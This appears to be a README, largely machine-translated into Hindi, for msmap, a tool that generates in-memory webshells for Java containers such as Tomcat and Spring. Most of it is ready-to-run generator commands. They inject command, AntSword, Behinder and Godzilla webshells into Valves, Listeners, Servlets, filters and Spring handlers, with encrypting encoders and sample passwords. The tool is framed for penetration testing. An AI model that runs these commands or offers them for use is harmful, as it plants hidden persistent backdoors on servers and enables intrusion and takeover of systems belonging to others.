hosch3n/msmapमॉड्यूलर मेमोरी वेबशेल जनरेटर जो जावा कंटेनर (Tomcat, Spring, WebLogic) का समर्थन करता है, जिसमें कई शेल प्रकार, एनकोडर और पोस्ट-एक्सप्लॉइटेशन पेनिट्रेशन टेस्टिंग के लिए स्वचालित संकलन शामिल हैं।
Msmap एक मेमोरी वेबशेल जनरेटर है। यह विभिन्न कंटेनरों, घटकों, एन्कोडरों, WebShell / Proxy / Killer और प्रबंधन क्लाइंट्स के साथ संगत है। 简体中文
The idea behind I, The idea behind II, The idea behind III
*: SpringHandler केवल JDK8+ के लिए समर्थन करता है
*: JVM डिफ़ॉल्ट रूप से Linux Tomcat 8/9 का समर्थन करता है, अधिक संस्करण उन्नत गाइड के अनुसार अनुकूलित किए जा सकते हैं।
WebShell
मॉड्यूलरिटी की आवश्यकता नहीं
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[चेतावनी] एक अद्वितीय पासवर्ड सेट करना अनिवार्य है, विकल्प केस-संवेदी हैं।
config/environment.py संपादित करें
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
gist/java/container/tomcat/servlet.py संपादित करें
// Servlet Path Pattern
private static String pattern = "*.xml";
यदि WsFilter में एक एन्क्रिप्शन एन्कोडर का उपयोग किया जाता है, तो पासवर्ड पथ के समान होना चाहिए (जैसे /passwd)
gist/java/container/jdk/javax.py को lib/servlet-api.jar के साथ लक्ष्य कंटेनर के अनुसार बदला जा सकता है।
क्लिपबोर्ड पर स्वचालित रूप से कॉपी करने के लिए pip3 install pyperclip।
कमांड Base64 एन्कोडर के साथ | Tomcat Valve में इंजेक्ट करें
python generator.py Java Tomcat Valve Base64 CMD passwd
प्रकार JSP default एन्कोडर के साथ | Tomcat Valve में इंजेक्ट करें
python generator.py Java Tomcat Valve RAW AntSword passwd
प्रकार JSP aes_128_ecb_pkcs7_padding_md5 एन्कोडर के साथ | Tomcat Listener में इंजेक्ट करें
python generator.py Java Tomcat Listener AES128 AntSword passwd
प्रकार JSP rc_4_sha256 एन्कोडर के साथ | Tomcat Servlet में इंजेक्ट करें
python generator.py Java Tomcat Servlet RC4 AntSword passwd
प्रकार JSP xor_md5 एन्कोडर के साथ | AgentFiless HttpServlet में इंजेक्ट करें
python generator.py Java JDK JavaX XOR AntSword passwd
प्रकार JSPJS aes_128_ecb_pkcs7_padding_md5 एन्कोडर के साथ | Tomcat WsFilter में इंजेक्ट करें
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
प्रकार JSPJS xor_md5 एन्कोडर के साथ | Spring Handler में इंजेक्ट करें
python generator.py Java Spring Handler XOR JSPJS passwd
प्रकार default_aes | Tomcat Valve में इंजेक्ट करें
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
प्रकार default_xor_base64 | Spring Interceptor में इंजेक्ट करें
python generator.py Java Spring Interceptor XOR Behinder rebeyond
प्रकार JAVA_AES_BASE64 | Tomcat Valve में इंजेक्ट करें
python generator.py Java Tomcat Valve AES128 Godzilla superidol
प्रकार JAVA_AES_BASE64 | AgentFiless HttpServlet में इंजेक्ट करें
python generator.py Java JDK JavaX AES128 Godzilla superidol
प्रकार JAVA_AES_BASE64 | Spring Handler में इंजेक्ट करें
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap